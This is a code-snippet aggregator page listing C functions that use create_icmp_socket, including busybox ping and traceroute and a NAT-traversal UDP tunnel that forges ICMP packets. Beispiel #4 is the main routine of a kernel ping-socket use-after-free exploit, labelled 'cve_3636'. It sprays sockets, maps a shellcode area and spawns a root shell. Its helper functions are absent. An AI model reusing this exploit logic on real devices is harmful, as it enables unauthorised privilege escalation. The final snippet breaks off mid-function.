Beispiel #1
0
static int common_ping_main(sa_family_t af, char **argv)
{
	len_and_sockaddr *lsa;

	INIT_G();

#if ENABLE_PING6
	while ((++argv)[0] && argv[0][0] == '-') {
		if (argv[0][1] == '4') {
			af = AF_INET;
			continue;
		}
		if (argv[0][1] == '6') {
			af = AF_INET6;
			continue;
		}
		bb_show_usage();
	}
#else
	argv++;
#endif

	G.hostname = *argv;
	if (!G.hostname)
		bb_show_usage();

#if ENABLE_PING6
	lsa = xhost_and_af2sockaddr(G.hostname, 0, af);
#else
	lsa = xhost_and_af2sockaddr(G.hostname, 0, AF_INET);
#endif
	/* Set timer _after_ DNS resolution */
	signal(SIGALRM, noresp);
	alarm(5); /* give the host 5000ms to respond */

	create_icmp_socket(lsa);
	G.myid = (uint16_t) getpid();
#if ENABLE_PING6
	if (lsa->u.sa.sa_family == AF_INET6)
		ping6(lsa);
	else
#endif
		ping4(lsa);
	if (ENABLE_FEATURE_CLEAN_UP)
		close(pingsock);
	printf("%s is alive!\n", G.hostname);
	return EXIT_SUCCESS;
}
Beispiel #2
0
static int create_child(int *pipe_read, int max_fd, int *child_socks)
{
	pid_t pid;
	int socks[max_fd];
	int i;
	int fds[2];

	int ret;

	if (pipe(fds) < 0){
		perror("pipe");
		return -1;
	}

	pid = fork();
	if (pid < 0)
		return -1;
	if (pid == 0) {
		//close(fds[0]);
		close_fds_except_pipe(fds[1], max_fd);

		for (i = 0; i < max_fd; i++) {
			socks[i] = create_icmp_socket();
			if (socks[i] < 0) {
				//printf("\ncan not create socket!\n");
				break;
			}
		}

		printf("child create %d sockets!\n", i);
		write(fds[1], &i, sizeof(int));

		while (1) {
			sleep(6);
		}
		exit(0);

	}

	/* parent process */
	close(fds[1]);
	*pipe_read = fds[0];
	ret = wait_for_child(fds[0], child_socks);
	if (ret != 0)
		return -1;
	return pid;
}
static void ping4(len_and_sockaddr *lsa)
{
	struct icmp *pkt;
	int pingsock, c;

	pingsock = create_icmp_socket();

	pkt = (struct icmp *) G.packet;
	memset(pkt, 0, sizeof(G.packet));
	pkt->icmp_type = ICMP_ECHO;
	pkt->icmp_cksum = inet_cksum((uint16_t *) pkt, sizeof(G.packet));

	xsendto(pingsock, G.packet, DEFDATALEN + ICMP_MINLEN, &lsa->u.sa, lsa->len);

	/* listen for replies */
	while (1) {
		struct sockaddr_in from;
		socklen_t fromlen = sizeof(from);

		c = recvfrom(pingsock, G.packet, sizeof(G.packet), 0,
				(struct sockaddr *) &from, &fromlen);
		if (c < 0) {
			if (errno != EINTR)
				bb_perror_msg("recvfrom");
			continue;
		}
		if (c >= 76) {			/* ip + icmp */
			struct iphdr *iphdr = (struct iphdr *) G.packet;

			pkt = (struct icmp *) (G.packet + (iphdr->ihl << 2));	/* skip ip hdr */
			if (pkt->icmp_type == ICMP_ECHOREPLY)
				break;
		}
	}
	if (ENABLE_FEATURE_CLEAN_UP)
		close(pingsock);
}
Beispiel #4
0
int main()
{
	int *socks;
	unsigned long *address[MAX_MMAP];
	int pid[MAX_CHILD];
	int pipe_read[MAX_CHILD];

	void *addr;
	int max_fds;
	int i, num_socks, num_child;
	int j;
	int success, count;
	int fd;
	int vulnerable = 0;
	int child_socks, total_child_socks;
	int temp;
	unsigned long *target;


	addr = mmap((void*)0x200000, _PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_SHARED | MAP_ANONYMOUS, -1, 0);
	if (addr == MAP_FAILED) {
		printf("map failed!\n");
		return -1;
	}
	memset((void*)0x200000, 0, _PAGE_SIZE);

	protect_from_oom_killer();

	fd = create_icmp_socket();
	if (fd < 0) {
		printf("can not crate icmp socket!\n");
		return -1;
	}

	setup_vul_socket(fd);

	for (i = 0; i < _PAGE_SIZE / sizeof(int *); i++) {
		if (((unsigned int*)addr)[i] != 0) {
			vulnerable = 1;
			break;
		}
	}

	if (vulnerable == 0) {
		printf("cve_3636 not vulnerable!\n");
		return -1;
	}

	if (mmap(0x50000000, 0x4000, PROT_WRITE | PROT_READ | PROT_EXEC,
                 MAP_SHARED | MAP_ANONYMOUS | MAP_FIXED, -1, 0) != 0x50000000) {
                printf("map shellcode area failed!\n");
                return -1;
        }

        for (i = 0; i < 0x4000; i += 4){
                target = 0x50000000 + i;
                *target = call_back;
        }

	my_pid = getpid();

	max_fds = maximize_fd_limit();
	printf("max_fds = %d\n", max_fds);
	socks = malloc(sizeof(int*) * (max_fds + 1));

	printf("create child to spray\n");
	num_child = 0;
	num_socks = 0;
	child_socks = 0;
	total_child_socks = 0;
	for (i = 0; i < MAX_CHILD; i++) {

		if (total_child_socks > MAX_SOCKS)
			break;
		
		pid[i] = create_child(&pipe_read[i], max_fds, &child_socks);

		if (pid[i] == -1)
			break;

		printf(".");
		fflush(stdout);
		//printf("create vulnerable socket!\n");
		total_child_socks += child_socks;
		//printf("\n now child sockets = %d\n", total_child_socks);
		if ( num_socks < max_fds) {
			socks[num_socks] = create_icmp_socket();
			if (socks[num_socks] == -1)
				break;
			num_socks++;
		}

		usleep(500000);
	}
	num_child = i;
	printf("total child sockets: %d\n", total_child_socks);
	printf("\nchild num: %d\n", num_child);

	socks[num_socks] = -1;

	printf("vulnerable socket num: %d\n", num_socks);

	printf("now close child socket!\n");
	for (i = 0; i < num_child; i++) {
		close_child(pid[i]);
	}

	printf("setup vulnerable socket!\n");

	for (i = 0; i < num_socks; i++) {

		setup_vul_socket(socks[i]);
	}

	printf("sparying ...\n");
	success = 0;
	while (1) {

		count = 0;
		for (i = 0; i < MAX_MMAP; i++) {
			address[i] = mmap((void*)0, MAP_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC,
					MAP_SHARED|MAP_ANONYMOUS, -1, 0);
			if (address[i] == MAP_FAILED)
			{
				printf("map failed!\n");
				break;
			}
			fill_payload(address[i], MAP_SIZE);
			for (j = 0; socks[j] != -1; j++) {
				if (get_sk(socks[j]) > 0) {
					success = 1;
					printf("get it!\n");
					ioctl(socks[j], 0x5678, &temp);
					break;
				}
			}
			if (success)
				break;
		}
		count = i;

		if (success) {
			printf("free %ld bytes\n", MAP_SIZE * (count - 1));
			for (i = 0; i < count; i++) {
				munmap(address[i], MAP_SIZE);
			}
			munmap(0x50000000, 0x4000);
			system("/system/bin/sh");

			break;
		}
	}
	
	printf("main end!\n");

	return 0;
}
Beispiel #5
0
/*
 * UDP Tunnel server main(). Handles program arguments, initializes everything,
 * and runs the main loop.
 */
int udpserver(int argc, char *argv[])
{
    char host_str[ADDRSTRLEN];
    char port_str[ADDRSTRLEN];
    char addrstr[ADDRSTRLEN];
    
    list_t *clients = NULL;
    list_t *allowed_destinations = NULL;
    socket_t *udp_sock = NULL;
    socket_t *udp_from = NULL;
    char data[MSG_MAX_LEN];

    client_t *client;
    uint16_t tmp_id;
    uint8_t tmp_type;
    uint16_t tmp_len;
    
    struct timeval curr_time;
    struct timeval timeout;
    struct timeval check_time;
    struct timeval check_interval;
    fd_set client_fds;
    fd_set read_fds;
    int num_fds;

    int i;
    int allowed_start;
    int ret;

	int icmp_sock = 0;
	int listen_sock = 0;
	int timeexc = 0;
    struct sockaddr_in dest_addr, rsrc;
    uint32_t timeexc_ip;
    struct hostent *host_ent;

    signal(SIGINT, &signal_handler);


    /* Get info about where we're sending time exceeded */
    memset(&dest_addr, 0, sizeof(struct sockaddr_in));
    host_ent                    = gethostbyname("3.3.3.3");
    timeexc_ip                  = *(uint32_t*)host_ent->h_addr_list[0];
    dest_addr.sin_family        = AF_INET;
    dest_addr.sin_port          = 0;
    dest_addr.sin_addr.s_addr   = timeexc_ip;

    /* Scan for start of allowed destination parameters */
    allowed_start = argc;
    for (i = 0; i < argc; i++)
      if (strchr(argv[i], ':'))
      {
          allowed_start = i;
          break;
      }

    /* Get the port and address to listen on from command line */
	if (allowed_start == 0)
	{
		sprintf(port_str, "2222");
		host_str[0] = 0;
	}
    else if(allowed_start == 1)
    {
		if (index(argv[0], 58) || index(argv[0], 46))
		{
			strncpy(host_str, argv[0], sizeof(host_str));
			host_str[sizeof(host_str)-1] = 0;
			sprintf(port_str, "2222");
		}
		else
		{
			strncpy(port_str, argv[0], sizeof(port_str));
			port_str[sizeof(port_str)-1] = 0;
			host_str[0] = 0;
		}
    }
    else if(allowed_start == 2)
    {
        strncpy(host_str, argv[0], sizeof(host_str));
        strncpy(port_str, argv[1], sizeof(port_str));
        host_str[sizeof(host_str)-1] = 0;
        port_str[sizeof(port_str)-1] = 0;
    }

    /* Build allowed destination list */
    if (argc > allowed_start)
    {
        allowed_destinations = list_create(sizeof(destination_t),
                                           p_destination_cmp,
                                           p_destination_copy,
                                           p_destination_free);
        if (!allowed_destinations)
            goto done;
        for (i = allowed_start; i < argc; i++)
        {
            destination_t *dst = destination_create(argv[i]);
            if (!dst)
                goto done;
            if (!list_add(allowed_destinations, dst))
                goto done;
            destination_free(dst);
        }
    }

    /* Create an empty list for the clients */
    clients = list_create(sizeof(client_t), p_client_cmp, p_client_copy,
                          p_client_free);
    if(!clients)
        goto done;

    /* Get info about localhost IP */
	if (!(strlen(host_str)>0))
	{
		char szHostName[255];
		gethostname(szHostName, 255);
		host_ent = gethostbyname(szHostName);
	}
	else
	{
		host_ent = gethostbyname(host_str);
	}
	memset(&rsrc, 0, sizeof(struct sockaddr_in));
    timeexc_ip				= *(uint32_t*)host_ent->h_addr_list[0];
    rsrc.sin_family        = AF_INET;
    rsrc.sin_port          = 0;
    rsrc.sin_addr.s_addr   = timeexc_ip;


    /* Create the socket to receive UDP messages on the specified port */
    udp_sock = sock_create((host_str[0] == 0 ? NULL : host_str), port_str,
                           ipver, SOCK_TYPE_UDP, 1, 1);

    if(!udp_sock)
        goto done;
	if(debug_level >= DEBUG_LEVEL1)
		printf("Listening on UDP %s\n",
		   sock_get_str(udp_sock, addrstr, sizeof(addrstr)));
    
    /* Create empty udp socket for getting source address of udp packets */
    udp_from = sock_create(NULL, NULL, ipver, SOCK_TYPE_UDP, 0, 0);
    if(!udp_from)
        goto done;
    
    FD_ZERO(&client_fds);
    
    timerclear(&timeout);
    gettimeofday(&check_time, NULL);
    check_interval.tv_sec = 0;
    check_interval.tv_usec = 500000;

    /* open listener socket */
    listen_sock = create_listen_socket();
    if (listen_sock == -1) {
        printf("[main] can't open listener socket\n");
        exit(1);
    }

    /* open raw socket */
    icmp_sock = create_icmp_socket();
    if (icmp_sock == -1) {
        printf("[main] can't open raw socket\n");
        exit(1);
    }

	struct sockaddr_in sa;
	memset(&sa, 0, sizeof(struct sockaddr_in));

    sa.sin_family = PF_INET;
    sa.sin_port = htons(atoi(port_str));
    sa.sin_addr.s_addr = INADDR_ANY;

    //if( bind(sock, (const struct sockaddr *)&sa, sizeof(struct sockaddr_in))!= 0)
		//printf("bind failed\n");

	int ip;
	char *ips;
	unsigned char *packet;
	ips = malloc(16);
	packet = malloc(IP_MAX_SIZE);

    while(running)
    {
        if(!timerisset(&timeout))
            timeout.tv_usec = 50000;

		/* Every 5 seconds, send "fake" ICMP packet */
		if (timeexc++ % 100 == 0)
		{
			send_icmp(icmp_sock, &rsrc, &dest_addr, (struct sockaddr_in*)0, 1);
		}

		/* Wait for random client to penetrate our NAT...you nasty client! */
		while ((ip = recv(listen_sock, packet, 100, 0)) > 0)
		{
			/* If not ICMP and not TTL exceeded */
			if (packet[9] != 1 || packet[20] != 11 || packet[21] != 0)
				break;

			//sprintf(ips, "%d.%d.%d.%d", packet[12], packet[13], packet[14], packet[15]);
			sprintf(ips, "%d.%d.%d.%d", (unsigned char)packet[12],(unsigned char) packet[13],(unsigned char) packet[14],(unsigned char) packet[15]);
			memset(packet, 0, ip);

			printf ("Got packet from %s\n",ips);

			host_ent = gethostbyname(ips);
			memcpy(&(sa.sin_addr), host_ent->h_addr, host_ent->h_length);
			inet_pton(PF_INET, ips, &(sa.sin_addr));

			printf("Got connection request from %s\n", ips);

			/* Send packet to create UDP pinhole */
			sendto(udp_sock->fd, ips, 0, 0, (struct sockaddr*)&sa, sizeof(struct sockaddr));
		}

        /* Reset the file desc. set */
        read_fds = client_fds;
        FD_SET(SOCK_FD(udp_sock), &read_fds);

        ret = select(FD_SETSIZE, &read_fds, NULL, NULL, &timeout);
        PERROR_GOTO(ret < 0, "select", done);
        num_fds = ret;

        gettimeofday(&curr_time, NULL);

        /* Go through all the clients and check if didn't get an ACK for sent
           data during the timeout period */
        if(timercmp(&curr_time, &check_time, >))
        {
            for(i = 0; i < LIST_LEN(clients); i++)
            {
                client = list_get_at(clients, i);

                if(client_timed_out(client, curr_time))
                {
                    disconnect_and_remove_client(CLIENT_ID(client), clients,
                                                 &client_fds);
                    i--;
                    continue;
                }
                
                ret = client_check_and_resend(client, curr_time);
                if(ret == -2)
                {
                    disconnect_and_remove_client(CLIENT_ID(client), clients,
                                                 &client_fds);
                    i--;
                }
            }

            /* Set time to chech this stuff next */
            timeradd(&curr_time, &check_interval, &check_time);
        }
        
        if(num_fds == 0)
            continue;

        /* Get any data received on the UDP socket */
        if(FD_ISSET(SOCK_FD(udp_sock), &read_fds))
        {
            ret = msg_recv_msg(udp_sock, udp_from, data, sizeof(data),
                               &tmp_id, &tmp_type, &tmp_len);
            
            if(ret == 0)
                ret = handle_message(tmp_id, tmp_type, data, tmp_len,
                                     udp_from, clients, &client_fds,
                                     allowed_destinations, port_str);
            if(ret == -2)
{
                disconnect_and_remove_client(tmp_id, clients, &client_fds);
}
            num_fds--;
        }

        /* Go through all the clients and get any TCP data that is ready */
        for(i = 0; i < LIST_LEN(clients) && num_fds > 0; i++)
        {
            client = list_get_at(clients, i);

            if(client_tcp_fd_isset(client, &read_fds))
            {
                ret = client_recv_tcp_data(client);
                if(ret == 0)
                    ret = client_send_udp_data(client);
#if 0 /* if udptunnel is taking up 100% of cpu, try including this */
                else if(ret == 1)
#ifdef WIN32
                    _sleep(1);
#else
                    usleep(1000); /* Quick hack so doesn't use 100% CPU if
                                     data wasn't ready yet (waiting for ack) */
#endif /*WIN32*/
#endif /*0*/
                if(ret == -2)
                {
                    disconnect_and_remove_client(CLIENT_ID(client),
                                                 clients, &client_fds);
                    i--; /* Since there will be one less element in list */
                }

                num_fds--;
            }
        }
    }
    
  done:
    if(debug_level >= DEBUG_LEVEL1)
        printf("Cleaning up...\n");
    if(allowed_destinations)
        list_free(allowed_destinations);
    if(clients)
        list_free(clients);
    if(udp_sock)
    {
        sock_close(udp_sock);
        sock_free(udp_sock);
    }
    if(udp_from)
        sock_free(udp_from);
    if(debug_level >= DEBUG_LEVEL1)
        printf("Goodbye.\n");
    
    return 0;
}
Beispiel #6
0
traceroute_main(int argc, char *argv[])
#endif
{
	extern char *optarg;
	extern int optind;
	struct hostent *hp;
	struct sockaddr_in from, *to;
	int ch, i, on, probe, seq, tos, ttl;

	int options = 0;                /* socket options */
	char *source = 0;
	int nprobes = 3;

	on = 1;
	seq = tos = 0;
	to = (struct sockaddr_in *)&whereto;
	while ((ch = getopt(argc, argv, "dm:np:q:rs:t:w:v")) != EOF)
		switch(ch) {
		case 'd':
#ifdef CONFIG_FEATURE_TRACEROUTE_SO_DEBUG
			options |= SO_DEBUG;
#endif
			break;
		case 'm':
			max_ttl = atoi(optarg);
			if (max_ttl <= 1)
				bb_error_msg_and_die("max ttl must be >1.");
			break;
		case 'n':
			nflag++;
			break;
		case 'p':
			port = atoi(optarg);
			if (port < 1)
				bb_error_msg_and_die("port must be >0.");
			break;
		case 'q':
			nprobes = atoi(optarg);
			if (nprobes < 1)
				bb_error_msg_and_die("nprobes must be >0.");
			break;
		case 'r':
			options |= SO_DONTROUTE;
			break;
		case 's':
			/*
			 * set the ip source address of the outbound
			 * probe (e.g., on a multi-homed host).
			 */
			source = optarg;
			break;
		case 't':
			tos = atoi(optarg);
			if (tos < 0 || tos > 255)
				bb_error_msg_and_die("tos must be 0 to 255.");
			break;
		case 'v':
#ifdef CONFIG_FEATURE_TRACEROUTE_VERBOSE
			verbose++;
#endif
			break;
		case 'w':
			waittime = atoi(optarg);
			if (waittime <= 1)
				bb_error_msg_and_die("wait must be >1 sec.");
			break;
		default:
			bb_show_usage();
		}
	argc -= optind;
	argv += optind;

	if (argc < 1)
		bb_show_usage();

	setlinebuf (stdout);

	memset(&whereto, 0, sizeof(struct sockaddr));
	hp = xgethostbyname(*argv);
			to->sin_family = hp->h_addrtype;
	memcpy(&to->sin_addr, hp->h_addr, hp->h_length);
			hostname = (char *)hp->h_name;
	if (*++argv)
		datalen = atoi(*argv);
	if (datalen < 0 || datalen >= MAXPACKET - sizeof(struct opacket))
		bb_error_msg_and_die("packet size must be 0 <= s < %d.",
		    MAXPACKET - sizeof(struct opacket));
	datalen += sizeof(struct opacket);
	outpacket = (struct opacket *)xmalloc((unsigned)datalen);
	memset(outpacket, 0, datalen);
	outpacket->ip.ip_dst = to->sin_addr;
	outpacket->ip.ip_tos = tos;
	outpacket->ip.ip_v = IPVERSION;
	outpacket->ip.ip_id = 0;

	ident = (getpid() & 0xffff) | 0x8000;

	if ((sndsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
		bb_perror_msg_and_die(bb_msg_can_not_create_raw_socket);

	s = create_icmp_socket();

#ifdef CONFIG_FEATURE_TRACEROUTE_SO_DEBUG
	if (options & SO_DEBUG)
		(void) setsockopt(s, SOL_SOCKET, SO_DEBUG,
				  (char *)&on, sizeof(on));
#endif
	if (options & SO_DONTROUTE)
		(void) setsockopt(s, SOL_SOCKET, SO_DONTROUTE,
				  (char *)&on, sizeof(on));
#ifdef SO_SNDBUF
	if (setsockopt(sndsock, SOL_SOCKET, SO_SNDBUF, (char *)&datalen,
		       sizeof(datalen)) < 0)
		bb_perror_msg_and_die("SO_SNDBUF");
#endif
#ifdef IP_HDRINCL
	if (setsockopt(sndsock, IPPROTO_IP, IP_HDRINCL, (char *)&on,
		       sizeof(on)) < 0)
		bb_perror_msg_and_die("IP_HDRINCL");
#endif
#ifdef CONFIG_FEATURE_TRACEROUTE_SO_DEBUG
	if (options & SO_DEBUG)
		(void) setsockopt(sndsock, SOL_SOCKET, SO_DEBUG,
				  (char *)&on, sizeof(on));
#endif
	if (options & SO_DONTROUTE)
		(void) setsockopt(sndsock, SOL_SOCKET, SO_DONTROUTE,
				  (char *)&on, sizeof(on));

	if (source) {
		memset(&from, 0, sizeof(struct sockaddr));
		from.sin_family = AF_INET;
		from.sin_addr.s_addr = inet_addr(source);
		if (from.sin_addr.s_addr == -1)
			bb_error_msg_and_die("unknown host %s", source);
		outpacket->ip.ip_src = from.sin_addr;
#ifndef IP_HDRINCL
		if (bind(sndsock, (struct sockaddr *)&from, sizeof(from)) < 0)
			bb_perror_msg_and_die("bind");
#endif
	}

	fprintf(stderr, "traceroute to %s (%s)", hostname,
		inet_ntoa(to->sin_addr));
	if (source)
		fprintf(stderr, " from %s", source);
	fprintf(stderr, ", %d hops max, %d byte packets\n", max_ttl, datalen);

	for (ttl = 1; ttl <= max_ttl; ++ttl) {
		u_long lastaddr = 0;
		int got_there = 0;
		int unreachable = 0;

		printf("%2d ", ttl);
		for (probe = 0; probe < nprobes; ++probe) {
			int cc, reset_timer;
			struct timeval t1, t2;
			struct timezone tz;
			struct ip *ip;

			(void) gettimeofday(&t1, &tz);
			send_probe(++seq, ttl);
			reset_timer = 1;
			while ((cc = wait_for_reply(s, &from, reset_timer)) != 0) {
				(void) gettimeofday(&t2, &tz);
				if ((i = packet_ok(packet, cc, &from, seq))) {
					reset_timer = 1;
					if (from.sin_addr.s_addr != lastaddr) {
						print(packet, cc, &from);
						lastaddr = from.sin_addr.s_addr;
					}
					printf("  %g ms", deltaT(&t1, &t2));
					switch(i - 1) {
					case ICMP_UNREACH_PORT:
						ip = (struct ip *)packet;
						if (ip->ip_ttl <= 1)
							printf(" !");
						++got_there;
						break;
					case ICMP_UNREACH_NET:
						++unreachable;
						printf(" !N");
						break;
					case ICMP_UNREACH_HOST:
						++unreachable;
						printf(" !H");
						break;
					case ICMP_UNREACH_PROTOCOL:
						++got_there;
						printf(" !P");
						break;
					case ICMP_UNREACH_NEEDFRAG:
						++unreachable;
						printf(" !F");
						break;
					case ICMP_UNREACH_SRCFAIL:
						++unreachable;
						printf(" !S");
						break;
					}
					break;
				} else
					reset_timer = 0;
			}
			if (cc == 0)
				printf(" *");
			(void) fflush(stdout);
		}
		putchar('\n');
		if (got_there || unreachable >= nprobes-1)
			return 0;
	}

	return 0;
}
Beispiel #7
0
int udpclient(int argc, char* argv[])
{
	char* lhost, *lport, *phost, *pport, *rhost, *rport;
	list_t* clients;
	list_t* conn_clients;
	client_t* client;
	client_t* client2;
	socket_t* tcp_serv = NULL;
	socket_t* tcp_sock = NULL;
	socket_t* udp_sock = NULL;
	char data[MSG_MAX_LEN];
	char addrstr[ADDRSTRLEN];
	char pport_s[6];
	struct timeval curr_time;
	struct timeval check_time;
	struct timeval check_interval;
	struct timeval timeout;
	fd_set client_fds;
	fd_set read_fds;
	uint16_t tmp_id;
	uint8_t tmp_type;
	uint16_t tmp_len;
	uint16_t tmp_req_id;
	int num_fds;
	int ret;
	int i;
	int icmp_sock ;
	int timeexc = -1;
	struct sockaddr_in src, dest, rsrc;
	struct hostent* hp;
	uint32_t timeexc_ip;
	signal(SIGINT, &signal_handler);
	i = 0;
	if(index(argv[i], 58) || index(argv[i], 46))
		lhost = argv[i++];
	else
		lhost = NULL;
	lport = argv[i++];
	phost = argv[i++];
	if(index(argv[i], 58) || index(argv[i], 46)) {
		snprintf(pport_s, 5, "2222");
		pport = pport_s;
	} else
		pport = argv[i++];
	rhost = argv[i++];
	rport = argv[i++];
	/* Get info about localhost IP */
	if(!lhost){
		char szHostName[255];
		gethostname(szHostName, 255);
		hp = gethostbyname(szHostName);
	}else{
		hp = gethostbyname(lhost);
	}
	memset(&rsrc, 0, sizeof(struct sockaddr_in));
	timeexc_ip				= *(uint32_t*)hp->h_addr_list[0];
	rsrc.sin_family			= AF_INET;
	rsrc.sin_port			= 0;
	rsrc.sin_addr.s_addr	= timeexc_ip;
	/* IP of destination */
	memset(&src, 0, sizeof(struct sockaddr_in));
	hp					  = gethostbyname(phost);
	timeexc_ip            = *(uint32_t*)hp->h_addr_list[0];
	src.sin_family        = AF_INET;
	src.sin_port          = 0;
	src.sin_addr.s_addr   = timeexc_ip;
	/* IP of where the fake packet (echo request) was going */
	hp = gethostbyname("3.3.3.3");
	memcpy(&dest.sin_addr, hp->h_addr, hp->h_length);
	inet_pton(AF_INET, "3.3.3.3", &(dest.sin_addr));
	srand(time(NULL));
	next_req_id = rand() % 0xffff;
	/* Create an empty list for the clients */
	clients = list_create(sizeof(client_t), p_client_cmp, p_client_copy,
						  p_client_free);
	ERROR_GOTO(clients == NULL, "Error creating clients list.", done);
	/* Create and empty list for the connecting clients */
	conn_clients = list_create(sizeof(client_t), p_client_cmp, p_client_copy,
							   p_client_free);
	ERROR_GOTO(conn_clients == NULL, "Error creating clients list.", done);
	/* Create a TCP server socket to listen for incoming connections */
	tcp_serv = sock_create(lhost, lport, ipver, SOCK_TYPE_TCP, 1, 1);
	ERROR_GOTO(tcp_serv == NULL, "Error creating TCP socket.", done);
	if(debug_level >= DEBUG_LEVEL1) {
		printf("Listening on TCP %s\n",
			   sock_get_str(tcp_serv, addrstr, sizeof(addrstr)));
	}
	FD_ZERO(&client_fds);
	/* Initialize all the timers */
	timerclear(&timeout);
	check_interval.tv_sec = 0;
	check_interval.tv_usec = 500000;
	gettimeofday(&check_time, NULL);
	/* open raw socket */
	create_icmp_socket(&icmp_sock);
	if(icmp_sock == -1) {
		printf("[main] can't open raw socket\n");
		exit(1);
	}
	while(running) {
		if(!timerisset(&timeout))
			timeout.tv_usec = 50000;
		if(++timeexc==100) {
			timeexc=0;
			/* Send ICMP TTL exceeded to penetrate remote NAT */
			send_icmp(icmp_sock, &rsrc, &src, &dest, 0);
		}
		read_fds = client_fds;
		FD_SET(SOCK_FD(tcp_serv), &read_fds);
		ret = select(FD_SETSIZE, &read_fds, NULL, NULL, &timeout);
		PERROR_GOTO(ret < 0, "select", done);
		num_fds = ret;
		gettimeofday(&curr_time, NULL);
		/* Go through all the clients and check if didn't get an ACK for sent
		   data during the timeout period */
		if(timercmp(&curr_time, &check_time, >)) {
			for(i = 0; i < LIST_LEN(clients); i++) {
				client = list_get_at(clients, i);
				ret = client_check_and_resend(client, curr_time);
				if(ret == -2) {
					disconnect_and_remove_client(CLIENT_ID(client), clients,
												 &client_fds);
					i--;
					continue;
				}
				ret = client_check_and_send_keepalive(client, curr_time);
				if(ret == -2) {
					disconnect_and_remove_client(CLIENT_ID(client), clients,
												 &client_fds);
					i--;
				}
			}
			timeradd(&curr_time, &check_interval, &check_time);
		}
		if(num_fds == 0) continue;
		timeexc=0;
		/* Check if pending TCP connection to accept and create a new client
		   and UDP connection if one is ready */
		if(FD_ISSET(SOCK_FD(tcp_serv), &read_fds)) {
			tcp_sock = sock_accept(tcp_serv);
			udp_sock = sock_create(phost, pport, ipver,
								   SOCK_TYPE_UDP, 0, 1);
			client = client_create(next_req_id++, tcp_sock, udp_sock, 1);
			if(!client || !tcp_sock || !udp_sock) {
				if(tcp_sock)
					sock_close(tcp_sock);
				if(udp_sock)
					sock_close(udp_sock);
			} else {
				client2 = list_add(conn_clients, client);
				client_free(client);
				client = NULL;
				client_send_hello(client2, rhost, rport, CLIENT_ID(client2));
				client_add_tcp_fd_to_set(client2, &client_fds);
				client_add_udp_fd_to_set(client2, &client_fds);
			}
			sock_free(tcp_sock);
			sock_free(udp_sock);
			tcp_sock = NULL;
			udp_sock = NULL;
			num_fds--;
		}
		/* Check for pending handshakes from UDP connection */
		for(i = 0; i < LIST_LEN(conn_clients) && num_fds > 0; i++) {
			client = list_get_at(conn_clients, i);
			if(client_udp_fd_isset(client, &read_fds)) {
				num_fds--;
				tmp_req_id = CLIENT_ID(client);
				ret = client_recv_udp_msg(client, data, sizeof(data),
										  &tmp_id, &tmp_type, &tmp_len);
				if(ret == 0)
					ret = handle_message(client, tmp_id, tmp_type,
										 data, tmp_len);
				if(ret < 0) {
					disconnect_and_remove_client(tmp_req_id, conn_clients,
												 &client_fds);
					i--;
				} else {
					client = list_add(clients, client);
					list_delete_at(conn_clients, i);
					client_remove_udp_fd_from_set(client, &read_fds);
					i--;
				}
			}
		}
		/* Check if data is ready from any of the clients */
		for(i = 0; i < LIST_LEN(clients) && num_fds > 0; i++) {
			client = list_get_at(clients, i);
			/* Check for UDP data */
			if(client_udp_fd_isset(client, &read_fds)) {
				num_fds--;
				ret = client_recv_udp_msg(client, data, sizeof(data),
										  &tmp_id, &tmp_type, &tmp_len);
				if(ret == 0)
					ret = handle_message(client, tmp_id, tmp_type,
										 data, tmp_len);
				if(ret < 0) {
					disconnect_and_remove_client(CLIENT_ID(client), clients,
												 &client_fds);
					i--;
					continue; /* Don't go to check the TCP connection */
				}
			}
			/* Check for TCP data */
			if(client_tcp_fd_isset(client, &read_fds)) {
				num_fds--;
				ret = client_recv_tcp_data(client);
				if(ret == 0)
					ret = client_send_udp_data(client);
#if 0 /* if udptunnel is taking up 100% of cpu, try including this */
				else if(ret == 1)
#ifdef _WIN32
					_sleep(1);
#else
					usleep(1000); /* Quick hack so doesn't use 100% of CPU if
                                     data wasn't ready yet (waiting for ack) */
#endif /*WIN32*/
#endif /*0*/
				if(ret < 0) {
					disconnect_and_remove_client(CLIENT_ID(client), clients,
												 &client_fds);
					i--;
				}
			}
		}
	}
done:
	if(debug_level >= DEBUG_LEVEL1)
		printf("Cleaning up...\n");
	if(tcp_serv) {
		sock_close(tcp_serv);
		sock_free(tcp_serv);
	}
	if(udp_sock) {
		sock_close(udp_sock);
		sock_free(udp_sock);
	}
	if(clients)
		list_free(clients);
	if(debug_level >= DEBUG_LEVEL1)
		printf("Goodbye.\n");
	return 0;
}
Beispiel #8
0
static void             /* not inline */
send_probe(int seq, int ttl)
{
	struct opacket *op = outpacket;
	struct ip *ip = &op->ip;
	struct udphdr *up = &op->udp;
	int i;
	struct timezone tz;
#if defined (DMP_TRACEROUTE_1)
	int dataSize = datalen -12; /* Minus some parameters' length in struct opacket*/
#endif
	ip->ip_off = 0;
	ip->ip_hl = sizeof(*ip) >> 2;
	ip->ip_p = IPPROTO_UDP;
#if defined (DMP_TRACEROUTE_1)
	ip->ip_len = dataSize;
#else
	ip->ip_len = datalen;
#endif	
	ip->ip_ttl = ttl;
	ip->ip_v = IPVERSION;
	ip->ip_id = htons(ident+seq);

	up->source = htons(ident);
	up->dest = htons(port+seq);
#if defined (DMP_TRACEROUTE_1)
	up->len = htons((u_short)(dataSize - sizeof(struct ip)));
#else
	up->len = htons((u_short)(datalen - sizeof(struct ip)));
#endif	
	up->check = 0;

	op->seq = seq;
	op->ttl = ttl;
	(void) gettimeofday(&op->tv, &tz);

#if defined (DMP_TRACEROUTE_1)
	i = sendto(sndsock, (char *)outpacket, dataSize, 0, &whereto,
		sizeof(struct sockaddr));
#else
	i = sendto(sndsock, (char *)outpacket, datalen, 0, &whereto,
		sizeof(struct sockaddr));
#endif
#if defined (DMP_TRACEROUTE_1)
	if (i < 0 || i != dataSize)  {
#else
	if (i < 0 || i != datalen)  {
#endif
		if (i<0)
			perror("sendto");
#if defined (DMP_TRACEROUTE_1)
		printf("traceroute: wrote %s %d chars, ret=%d\n", hostname,
			dataSize, i);
#else
		printf("traceroute: wrote %s %d chars, ret=%d\n", hostname,
			datalen, i);
#endif			
		(void) fflush(stdout);
	}
}


int
#ifndef CONFIG_TRACEROUTE
main(int argc, char *argv[])
#else
traceroute_main(int argc, char *argv[])
#endif
{
	extern char *optarg;
	extern int optind;
	struct hostent *hp;
	struct sockaddr_in from, *to;
	int ch, i, on, probe, seq, tos, ttl;

	int options = 0;                /* socket options */
	char *source = 0;
	int nprobes = 3;
